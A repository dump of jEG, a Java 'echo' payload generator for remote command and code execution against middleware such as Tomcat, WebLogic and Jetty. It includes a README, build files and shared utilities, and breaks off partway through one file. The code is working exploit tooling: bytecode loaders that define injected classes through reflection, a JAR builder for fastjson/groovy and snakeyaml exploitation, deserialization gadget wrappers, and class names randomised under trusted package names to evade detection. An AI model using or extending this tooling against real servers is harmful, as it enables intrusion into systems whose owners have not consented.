├── LICENSE
├── README.md
├── jeg-common
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jeg
│ └── common
│ ├── config
│ ├── Config.java
│ └── Constants.java
│ ├── format
│ ├── BASE64Formatter.java
│ ├── BCELFormatter.java
│ ├── BigIntegerFormatter.java
│ ├── IFormatter.java
│ ├── JARFormatter.java
│ └── JavaScriptFormatter.java
│ └── util
│ ├── Base64Util.java
│ ├── ClassUtil.java
│ ├── FileUtil.java
│ ├── GadgetUtil.java
│ ├── HeaderUtil.java
│ ├── JavassistUtil.java
│ ├── RandomUtil.java
│ └── ReflectionUtil.java
├── jeg-core
├── pom.xml
└── src
│ ├── main
│ └── java
│ │ └── jeg
│ │ └── core
│ │ ├── config
│ │ ├── jEGConfig.java
│ │ └── jEGConstants.java
│ │ ├── jEGenerator.java
│ │ ├── template
│ │ ├── all
│ │ │ ├── DFSCmdExecTpl.java
│ │ │ └── DFSCodeExecTpl.java
│ │ ├── bes
│ │ │ ├── BESCmdExecTpl.java
│ │ │ └── BESCodeExecTpl.java
│ │ ├── inforsuite
│ │ │ ├── InforSuiteCmdExecTpl.java
│ │ │ └── InforSuiteCodeExecTpl.java
│ │ ├── jetty
│ │ │ ├── JettyCmdExecTpl.java
│ │ │ └── JettyCodeExecTpl.java
│ │ ├── resin
│ │ │ ├── ResinCmdExecTpl.java
│ │ │ └── ResinCodeExecTpl.java
│ │ ├── springmvc
│ │ │ ├── SpringMVCCmdExecTpl.java
│ │ │ └── SpringMVCCodeExecTpl.java
│ │ ├── struts2
│ │ │ ├── Struts2CmdExecTpl.java
│ │ │ └── Struts2CodeExecTpl.java
│ │ ├── tomcat
│ │ │ ├── TomcatCmdExecTpl.java
│ │ │ └── TomcatCodeExecTpl.java
│ │ ├── tongweb
│ │ │ ├── TongWebCmdExecTpl.java
│ │ │ └── TongWebCodeExecTpl.java
│ │ ├── undertow
│ │ │ ├── UndertowCmdExecTpl.java
│ │ │ └── UndertowCodeExecTpl.java
│ │ ├── weblogic
│ │ │ ├── WebLogicCmdExecTpl.java
│ │ │ └── WebLogicCodeExecTpl.java
│ │ └── websphere
│ │ │ ├── WebSphereCmdExecTpl.java
│ │ │ └── WebSphereCodeExecTpl.java
│ │ └── util
│ │ └── TemplateUtil.java
│ └── test
│ └── java
│ └── GeneratorTest.java
├── jeg-docs
├── 1.0.0
│ ├── README.md
│ └── img
│ │ ├── 1708843903204.png
│ │ ├── 1708843933258.png
│ │ ├── 1708843968446.png
│ │ ├── 1708843998491.png
│ │ ├── 1708844009402.png
│ │ ├── 1708844020638.png
│ │ ├── 1708844053138.png
│ │ └── 1708844074999.png
├── README_EN.md
└── img
│ ├── gui.png
│ └── woodpecker-plugin.png
├── jeg-gui
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── jeg
│ │ └── gui
│ │ ├── form
│ │ ├── jEGForm.form
│ │ └── jEGForm.java
│ │ ├── jEGApp.java
│ │ └── util
│ │ ├── ComponentUtil.java
│ │ └── TextPaneUtil.java
│ └── resources
│ ├── messages_en.properties
│ ├── messages_en.properties.bak
│ ├── messages_zh.properties
│ └── messages_zh.properties.bak
├── jeg-woodpecker
├── pom.xml
└── src
│ └── main
│ └── java
│ └── me
│ └── gv7
│ └── woodpecker
│ ├── helper
│ └── jEGHelper.java
│ └── plugin
│ └── WoodpeckerPluginManager.java
└── pom.xml
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 pen4uin
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Java Echo Generator
4 |
9 | 一款支持高度自定义的 Java 回显载荷生成工具
10 |
11 |
12 |
13 |
14 | > [!WARNING]
15 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
16 |
17 |
18 |
19 | ## 功能
20 |
21 | | 中间件 | 框架 | 执行模式 | 输出格式 |
22 | |-----------------|-----------|---------|------------|
23 | | Tomcat | SpringMVC | Command | BASE64 |
24 | | Resin | Struts2 | Code | BCEL |
25 | | WebLogic | | | BIGINTEGER |
26 | | Jetty | | | CLASS |
27 | | WebSphere | | | JAR |
28 | | Undertow | | | JS |
29 | | GlassFish | | | |
30 | | BES(宝兰德) | | | |
31 | | InforSuite(中创) | | | |
32 | | TongWeb(东方通) | | | |
33 |
34 |
35 |
36 |
37 | ## 编译
38 |
39 | ```shell
40 | mvn package assembly:single
41 | ```
42 |
43 | ## 使用
44 |
45 | **图形化**
46 |
47 | 1. 下载 jEG-GUI-1.0.0.jar 运行即可
48 |
49 | 
50 |
51 | **Woodpecker 插件**
52 |
53 | 1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可
54 |
55 | 
56 |
57 | **第三方库**
58 |
59 | 1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库
60 |
61 | ```
62 | mvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar
63 | ```
64 |
65 | 2. 引入自己的框架/工具的依赖中
66 |
67 | ```
68 |
69 | jeg
70 | jeg-core
71 | 1.0.0
72 |
73 | ```
74 |
75 | 3. 调用 API 生成需要的回显载荷即可
76 |
77 | ```
78 | // 基本配置
79 | jEGConfig config = new jEGConfig() {{
80 | // 设置待回显的中间件为 tomcat
81 | setServerType(Constants.SERVER_TOMCAT);
82 | // 设置待执行的 payload 为命令执行回显
83 | setModelType(Constants.MODEL_CMD);
84 | // 设置 payload 的输出格式为 BASE64
85 | setFormatType(Constants.FORMAT_BASE64);
86 | // 初始化基础配置
87 | build();
88 | }};
89 | // 生成 payload
90 | jEGenerator generator = new jEGenerator(config);
91 | System.out.println("请求头: " + config.getReqHeaderName());
92 | System.out.println(generator.getPayload());
93 | ```
94 |
95 | ## 文档
96 |
97 | - [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/)
98 |
99 | ## 致谢
100 |
101 | - https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
102 | - https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327
103 | - https://github.com/feihong-cs/Java-Rce-Echo
104 |
105 | ## 协议
106 |
107 | - MIT
--------------------------------------------------------------------------------
/jeg-common/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jeg
6 | java-echo-generator
7 | ${reversion}
8 |
9 | jEG-common
10 |
11 | ${artifactId}-${reversion}
12 |
13 |
14 |
15 |
16 | me.gv7.woodpecker
17 | woodpecker-bcel
18 | 0.1.0
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/config/Config.java:
--------------------------------------------------------------------------------
1 | package jeg.common.config;
2 |
3 | public class Config {
4 | private String serverType;
5 | private String formatType;
6 | private String gadgetType;
7 | private String loaderClassName;
8 | private String classNameInFormatter;
9 | private byte[] classBytesInFormatter;
10 | private String classBase64InFormatter;
11 |
12 | public String getOutputDir() {
13 | return outputDir;
14 | }
15 |
16 | public void setOutputDir(String outputDir) {
17 | this.outputDir = outputDir;
18 | }
19 |
20 | private String outputDir;
21 | public String getLoaderClassName() {
22 | return loaderClassName;
23 | }
24 |
25 | public void setLoaderClassName(String loaderClassName) {
26 | this.loaderClassName = loaderClassName;
27 | }
28 |
29 | public String getClassNameInFormatter() {
30 | return classNameInFormatter;
31 | }
32 |
33 | public void setClassNameInFormatter(String classNameInFormatter) {
34 | this.classNameInFormatter = classNameInFormatter;
35 | }
36 |
37 | public byte[] getClassBytesInFormatter() {
38 | return classBytesInFormatter;
39 | }
40 |
41 | public void setClassBytesInFormatter(byte[] classBytesInFormatter) {
42 | this.classBytesInFormatter = classBytesInFormatter;
43 | }
44 |
45 | public String getClassBase64InFormatter() {
46 | return classBase64InFormatter;
47 | }
48 |
49 | public void setClassBase64InFormatter(String classBase64InFormatter) {
50 | this.classBase64InFormatter = classBase64InFormatter;
51 | }
52 |
53 |
54 |
55 | public String getServerType() {
56 | return serverType;
57 | }
58 |
59 | public void setServerType(String serverType) {
60 | this.serverType = serverType;
61 | }
62 |
63 | public String getFormatType() {
64 | return formatType;
65 | }
66 |
67 | public void setFormatType(String formatType) {
68 | this.formatType = formatType;
69 | }
70 |
71 | public String getGadgetType() {
72 | return gadgetType;
73 | }
74 |
75 | public void setGadgetType(String gadgetType) {
76 | this.gadgetType = gadgetType;
77 | }
78 |
79 | public boolean isImplementsASTTransformationType() {
80 | return implementsASTTransformationType;
81 | }
82 |
83 | public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
84 | this.implementsASTTransformationType = implementsASTTransformationType;
85 | }
86 |
87 | public boolean isImplementsScriptEngineFactory() {
88 | return implementsScriptEngineFactory;
89 | }
90 |
91 | public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
92 | this.implementsScriptEngineFactory = implementsScriptEngineFactory;
93 | }
94 |
95 | private boolean implementsASTTransformationType = false;
96 | private boolean implementsScriptEngineFactory = false;
97 |
98 | }
99 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/config/Constants.java:
--------------------------------------------------------------------------------
1 | package jeg.common.config;
2 |
3 | public interface Constants {
4 |
5 | String FORMAT_CLASS = "CLASS";
6 | String FORMAT_BCEL = "BCEL";
7 | String FORMAT_JSP = "JSP";
8 | String FORMAT_JAR = "JAR";
9 | String FORMAT_JS = "JS";
10 | String FORMAT_BASE64 = "BASE64";
11 | String FORMAT_BIGINTEGER = "BIGINTEGER";
12 |
13 | String GADGET_NONE = "NONE";
14 | String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
15 | String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
16 |
17 | String SERVER_TOMCAT = "Tomcat";
18 | String SERVER_JETTY = "Jetty";
19 | String SERVER_RESIN = "Resin";
20 | String SERVER_SPRING_MVC = "SpringMVC";
21 | String SERVER_STRUTS2 = "Struts2";
22 | String SERVER_UNDERTOW = "Undertow";
23 | String SERVER_WEBLOGIC = "WebLogic";
24 | String SERVER_WEBSPHERE = "WebSphere";
25 | String SERVER_BES = "BES";
26 | String SERVER_INFORSUITE = "InforSuite";
27 | String SERVER_TONGWEB = "TongWeb";
28 | String SERVER_UNKNOWN = "Unknown";
29 | }
30 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import jeg.common.config.Config;
4 | import jeg.common.util.Base64Util;
5 |
6 | public class BASE64Formatter implements IFormatter {
7 | @Override
8 | public byte[] transform(byte[] bytes, Config config) throws Exception {
9 | return Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "").getBytes();
10 | }
11 | }
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/BCELFormatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 | import jeg.common.config.Config;
8 | import jeg.common.util.Base64Util;
9 | import jeg.common.util.ClassUtil;
10 | import jeg.common.util.JavassistUtil;
11 | import me.gv7.woodpecker.bcel.HackBCELs;
12 |
13 | import java.io.IOException;
14 | import java.lang.reflect.Method;
15 |
16 | public class BCELFormatter implements IFormatter {
17 | public byte[] transform(byte[] bytes, Config config) throws IOException {
18 | ClassPool pool = ClassPool.getDefault();
19 | ClassClassPath classPath = new ClassClassPath(BCELoader.class);
20 | pool.insertClassPath(classPath);
21 | CtClass ctClass;
22 | byte[] bcelLoaderBytes = new byte[0];
23 | try {
24 | ctClass = pool.getCtClass(BCELoader.class.getName());
25 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
26 | getBase64String.setBody(String.format("{return \"%s\";}", Base64Util.encodeToBase64(config.getClassBytesInFormatter())));
27 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
28 | getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInFormatter()));
29 | ctClass.setName(ClassUtil.getRandomClassName());
30 | ctClass.getClassFile().setVersionToJava5();
31 | JavassistUtil.removeSourceFileAttribute(ctClass);
32 | bcelLoaderBytes = ctClass.toBytecode();
33 | ctClass.detach();
34 | } catch (Exception e) {
35 | e.printStackTrace();
36 | }
37 | return HackBCELs.encode(bcelLoaderBytes).getBytes();
38 | }
39 | }
40 |
41 | class BCELoader extends ClassLoader {
42 |
43 | public String getClassName() {
44 | return "";
45 | }
46 |
47 |
48 | public String getBase64String() throws IOException {
49 | return "";
50 | }
51 |
52 | public BCELoader() throws Exception {
53 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
54 | ;
55 | try {
56 | classLoader.loadClass(getClassName()).newInstance();
57 | } catch (Exception var1) {
58 | try {
59 | byte[] classBytes = base64Decode(getBase64String());
60 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
61 | defineClassMethod.setAccessible(true);
62 | Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length);
63 | clazz.newInstance();
64 | } catch (Exception var2) {
65 | }
66 | }
67 | }
68 |
69 | public static byte[] base64Decode(String str) throws Exception {
70 | try {
71 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
72 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
73 | } catch (Exception var5) {
74 | Class clazz = Class.forName("java.util.Base64");
75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
76 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
77 | }
78 | }
79 | }
80 |
81 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import jeg.common.config.Config;
4 |
5 | import java.io.IOException;
6 | import java.math.BigInteger;
7 |
8 | public class BigIntegerFormatter implements IFormatter {
9 | @Override
10 | public byte[] transform(byte[] bytes, Config config) throws IOException {
11 | return new BigInteger(bytes).toString(36).getBytes();
12 | }
13 | }
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/IFormatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import jeg.common.config.Config;
4 |
5 | public interface IFormatter {
6 | public byte[] transform(byte[] bytes, Config config) throws Exception;
7 | }
8 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/JARFormatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import jeg.common.config.Config;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.IOException;
7 | import java.nio.charset.StandardCharsets;
8 | import java.util.jar.JarEntry;
9 | import java.util.jar.JarOutputStream;
10 | import java.util.jar.Manifest;
11 |
12 | public class JARFormatter implements IFormatter {
13 | public byte[] transform(byte[] bytes, Config config) throws IOException {
14 | String className = config.getClassNameInFormatter();
15 | String jarEntryFileName = className.replace(".", "/") + ".class";
16 |
17 | Manifest manifest = new Manifest();
18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
19 |
20 | ByteArrayOutputStream out = new ByteArrayOutputStream();
21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
23 | jarOutputStream.write(bytes);
24 | jarOutputStream.closeEntry();
25 |
26 | // fastjson + groovy 的利用
27 | if (config.isImplementsASTTransformationType()) {
28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
29 | JarEntry entry = new JarEntry(entryName);
30 | jarOutputStream.putNextEntry(entry);
31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
32 | jarOutputStream.closeEntry();
33 | }
34 |
35 | // snakeyaml + loadJar 的利用
36 | if (config.isImplementsScriptEngineFactory()) {
37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
38 | JarEntry entry = new JarEntry(entryName);
39 | jarOutputStream.putNextEntry(entry);
40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
41 | jarOutputStream.closeEntry();
42 | }
43 | }
44 |
45 | return out.toByteArray();
46 | }
47 | }
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java:
--------------------------------------------------------------------------------
1 | package jeg.common.format;
2 |
3 | import jeg.common.config.Config;
4 | import jeg.common.util.Base64Util;
5 |
6 | public class JavaScriptFormatter implements IFormatter {
7 | public byte[] transform(byte[] bytes, Config config) throws Exception {
8 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
9 | "try{\n" +
10 | " classLoader.loadClass(\""+ config.getClassNameInFormatter() +"\").newInstance();\n" +
11 | "}catch (e){\n" +
12 | " var clsString = classLoader.loadClass('java.lang.String');\n" +
13 | " var bytecodeBase64 = \""+ Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "") + "\";\n" +
14 | " var bytecode;\n" +
15 | " try{\n" +
16 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
17 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
18 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
19 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
20 | " } catch (ee) {\n" +
21 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
22 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
23 | " }\n" +
24 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
25 | " var clsByteArray = classLoader.loadClass('[B');\n" +
26 | " var clsInt = java.lang.Integer.TYPE;\n" +
27 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
28 | " defineClass.setAccessible(true);\n" +
29 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
30 | " clazz.newInstance();\n" +
31 | "}";
32 | return strJS.getBytes();
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/Base64Util.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | public class Base64Util {
4 |
5 | public static String encodeToBase64(byte[] input) throws Exception {
6 | String value = null;
7 | Class base64;
8 | try {
9 | base64 = Class.forName("java.util.Base64");
10 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
11 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
12 | } catch (Exception var6) {
13 | try {
14 | base64 = Class.forName("sun.misc.BASE64Encoder");
15 | Object Encoder = base64.newInstance();
16 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
17 | } catch (Exception var5) {
18 | }
19 | }
20 | return value;
21 | }
22 |
23 | public static String decodeFromBase64(String input) throws Exception {
24 | byte[] var2 = null;
25 |
26 | Class var1;
27 | try {
28 | var1 = Class.forName("java.util.Base64");
29 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
30 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
31 | } catch (Exception var6) {
32 | try {
33 | var1 = Class.forName("sun.misc.BASE64Decoder");
34 | Object var4 = var1.newInstance();
35 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
36 | } catch (Exception var5) {
37 | }
38 | }
39 |
40 | return new String(var2);
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/ClassUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import java.util.ArrayList;
4 | import java.util.List;
5 | import java.util.Random;
6 |
7 | public class ClassUtil {
8 | static String[] classNames = {
9 | "NetworkUtils",
10 | "KeyUtils",
11 | "EncryptionUtils",
12 | "SessionDataUtil",
13 | "SOAPUtils",
14 | "ReflectUtil",
15 | "HttpClientUtil",
16 | "EncryptionUtil",
17 | "XMLUtil",
18 | "JSONUtil",
19 | "FileUtils",
20 | "DateUtil",
21 | "StringUtil",
22 | "MathUtil",
23 | "HttpUtil",
24 | "CSVUtil"
25 | };
26 | private static final String[] packageNames = {
27 | "org.springframework",
28 | "org.apache.logging",
29 | "org.apache",
30 | "com.fasterxml.jackson",
31 | "org.junit",
32 | "org.apache.commons.lang",
33 | "com.google.gso",
34 | "ch.qos.logback"
35 | };
36 |
37 | public static String generatePackageName(String[] packageNames) {
38 | Random random = new Random();
39 | String packageName = packageNames[random.nextInt(packageNames.length)];
40 | return packageName;
41 | }
42 |
43 |
44 | public static String getRandomPackageName(String[] packageNames) {
45 | return generatePackageName(packageNames);
46 | }
47 |
48 | public static String getRandomName(String[]... arrays) {
49 | List classNames = new ArrayList<>();
50 | for (String[] array : arrays) {
51 | for (String className : array) {
52 | classNames.add(className);
53 | }
54 | }
55 | Random random = new Random();
56 | int index = random.nextInt(classNames.size());
57 | return classNames.get(index);
58 | }
59 |
60 |
61 | public static String generateRandomString() {
62 | Random random = new Random();
63 | StringBuilder sb = new StringBuilder();
64 | int length = random.nextInt(5) + 2; // 生成2-6之间的随机数
65 | for (int i = 0; i < length; i++) {
66 | char c = (char) (random.nextInt(26) + 'a');
67 | sb.append(c);
68 | }
69 | return sb.toString();
70 | }
71 |
72 | public static String getRandomClassName() {
73 |
74 | return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
75 | }
76 |
77 | public static String getRandomLoaderClassName() {
78 |
79 | return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
80 | }
81 |
82 | public static String getSimpleName(String className) {
83 | int lastDotIndex = className.lastIndexOf(".");
84 | if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
85 | return className.substring(lastDotIndex + 1);
86 | }
87 | return className;
88 | }
89 |
90 | }
91 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/FileUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import java.io.*;
4 |
5 | public class FileUtil {
6 | public static void writeFile(String filePath, byte[] bytes) throws IOException {
7 | OutputStream out = new FileOutputStream(filePath);
8 | InputStream is = new ByteArrayInputStream(bytes);
9 | byte[] buff = new byte[1024];
10 | int len;
11 | while((len = is.read(buff)) != -1) {
12 | out.write(buff, 0, len);
13 | }
14 |
15 | is.close();
16 | out.close();
17 | }
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/GadgetUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4 | import javassist.*;
5 | import jeg.common.config.Constants;
6 | import jeg.common.config.Config;
7 |
8 | public class GadgetUtil {
9 | private Config config;
10 | private ClassPool pool;
11 | private CtClass modifiedClass;
12 |
13 | public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) {
14 | this.config = config;
15 | this.pool = pool;
16 | this.modifiedClass = modifiedClass;
17 | }
18 |
19 | public byte[] modify() throws Exception {
20 | byte[] classBytes = null;
21 | if (pool != null && modifiedClass != null) {
22 | if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) {
23 | applyJDKAbstractTranslet();
24 | }
25 |
26 | if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) {
27 | applyXALANAbstractTranslet();
28 | }
29 | modifiedClass.getClassFile().setVersionToJava5();
30 | classBytes = modifiedClass.toBytecode();
31 | modifiedClass.defrost();
32 | } else {
33 | throw new Exception("pool or modifiedClass is null");
34 | }
35 | return classBytes;
36 | }
37 |
38 |
39 | public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException {
40 | pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
41 | modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
42 | }
43 |
44 |
45 | public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException {
46 | try {
47 | pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet");
48 | } catch (NotFoundException e) {
49 | pool.makeClass("org.apache.xalan.xsltc.runtime.AbstractTranslet");
50 | }
51 | modifiedClass.setSuperclass(pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet"));
52 | }
53 |
54 | }
55 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/HeaderUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import java.util.Random;
4 |
5 | public class HeaderUtil {
6 |
7 | private static final Random RANDOM = new Random();
8 |
9 |
10 | public static String genHeaderName(String[] keys) {
11 | String key = genRandomKey(keys);
12 | return key + genRandomSuffix();
13 | }
14 |
15 | private static String genRandomKey(String[] keys) {
16 | return keys[RANDOM.nextInt(keys.length)];
17 | }
18 |
19 | private static String genRandomSuffix() {
20 | StringBuilder sb = new StringBuilder();
21 | int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串
22 | for (int i = 0; i < length; i++) {
23 | char c = (char) (RANDOM.nextInt(26) + 'a');
24 | if (i == 0) {
25 | c = Character.toUpperCase(c);
26 | }
27 | sb.append(c);
28 | }
29 | return sb.toString();
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/JavassistUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import javassist.*;
4 | import javassist.bytecode.AttributeInfo;
5 | import javassist.bytecode.ClassFile;
6 | import javassist.bytecode.SourceFileAttribute;
7 |
8 | import java.util.List;
9 |
10 | /**
11 | * javassist 工具类
12 | */
13 | public class JavassistUtil {
14 |
15 | private static ClassPool pool = ClassPool.getDefault();
16 |
17 | public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
18 | ctClass.defrost();
19 | try {
20 | // 已存在,修改
21 | CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
22 | ctMethod.setBody(methodBody);
23 | } catch (NotFoundException ignored) {
24 | // 不存在,直接添加
25 | CtMethod method = CtNewMethod.make(methodBody, ctClass);
26 | ctClass.addMethod(method);
27 | }
28 | }
29 |
30 |
31 | public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
32 | ctClass.defrost();
33 | try {
34 | CtField field = ctClass.getDeclaredField(fieldName);
35 | ctClass.removeField(field);
36 | try {
37 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
38 | defField.setModifiers(Modifier.PUBLIC);
39 | ctClass.addField(defField, "\"" + fieldValue + "\"");
40 | } catch (Exception e) {
41 | throw new RuntimeException(e);
42 | }
43 |
44 | } catch (NotFoundException ignored) {
45 | try {
46 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
47 | defField.setModifiers(Modifier.STATIC);
48 | ctClass.addField(defField, "\"" + fieldValue + "\"");
49 | } catch (Exception e) {
50 | throw new RuntimeException(e);
51 | }
52 | }
53 | }
54 |
55 | public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
56 | ctClass.defrost();
57 | try {
58 | CtField field = ctClass.getDeclaredField(fieldName);
59 | ctClass.removeField(field);
60 | try {
61 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
62 | defField.setModifiers(Modifier.PUBLIC);
63 | defField.setModifiers(Modifier.STATIC);
64 | ctClass.addField(defField, "\"" + fieldValue + "\"");
65 | } catch (Exception e) {
66 | throw new RuntimeException(e);
67 | }
68 |
69 | } catch (NotFoundException ignored) {
70 | try {
71 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
72 | defField.setModifiers(Modifier.STATIC);
73 | ctClass.addField(defField, "\"" + fieldValue + "\"");
74 | } catch (Exception e) {
75 | throw new RuntimeException(e);
76 | }
77 | }
78 | }
79 |
80 |
81 | // 删除 SourceFileAttribute (源文件名) 信息
82 | public static void removeSourceFileAttribute(CtClass ctClass) {
83 | ctClass.defrost();
84 | ClassFile classFile = ctClass.getClassFile2();
85 |
86 | try {
87 | // javassist.bytecode.ClassFile.removeAttribute Since: 3.21
